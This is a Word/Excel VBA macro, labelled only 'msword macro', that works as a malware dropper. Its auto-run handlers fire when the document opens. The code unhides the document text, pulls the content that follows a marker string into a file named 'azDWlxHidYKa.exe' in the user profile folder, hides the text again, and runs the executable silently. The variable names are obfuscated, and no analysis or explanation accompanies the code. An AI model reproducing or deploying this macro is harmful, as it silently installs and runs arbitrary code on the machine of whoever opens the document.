msword macro

Sub Auto_Open()
    Aofdc12
    Selection.WholeStory
    With Selection.Font
        .Hidden = True
    End With
End Sub

Sub Aofdc12()
    Dim Aofdc7 As Integer
    Dim Aofdc1 As String
    Dim Aofdc2 As String
    Dim Aofdc3 As Integer
    Dim Aofdc4 As Paragraph
    Dim Aofdc8 As Integer
    Dim Aofdc9 As Boolean
    Dim Aofdc5 As Integer
    Dim Aofdc11 As String
    Dim Aofdc6 As Byte
    Dim Idgmrgduxg As String
    Idgmrgduxg = "Idgmrgduxg"
    Aofdc1 = "azDWlxHidYKa.exe"
    Aofdc2 = Environ("USERPROFILE")
    ChDrive (Aofdc2)
    ChDir (Aofdc2)
    Aofdc3 = FreeFile()
    Open Aofdc1 For Binary As Aofdc3
    Selection.WholeStory
    With Selection.Font
        .Hidden = False
    End With
    For Each Aofdc4 In ActiveDocument.Paragraphs
        DoEvents
            Aofdc11 = Aofdc4.Range.Text
        If (Aofdc9 = True) Then
            Aofdc8 = 1
            While (Aofdc8 < Len(Aofdc11))
                Aofdc6 = Mid(Aofdc11, Aofdc8, 4)
                Put #Aofdc3, , Aofdc6
                Aofdc8 = Aofdc8 + 4
            Wend
        ElseIf (InStr(1, Aofdc11, Idgmrgduxg) > 0 And Len(Aofdc11) > 0) Then
            Aofdc9 = True
        End If
    Next
    Selection.WholeStory
    With Selection.Font
        .Hidden = True
    End With
    Close #Aofdc3
    Aofdc13 (Aofdc1)
End Sub

Sub Aofdc13(Aofdc10 As String)
    Dim Aofdc7 As Integer
    Dim Aofdc2 As String
    Aofdc2 = Environ("USERPROFILE")
    ChDrive (Aofdc2)
    ChDir (Aofdc2)
    Aofdc7 = Shell(Aofdc10, vbHide)
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub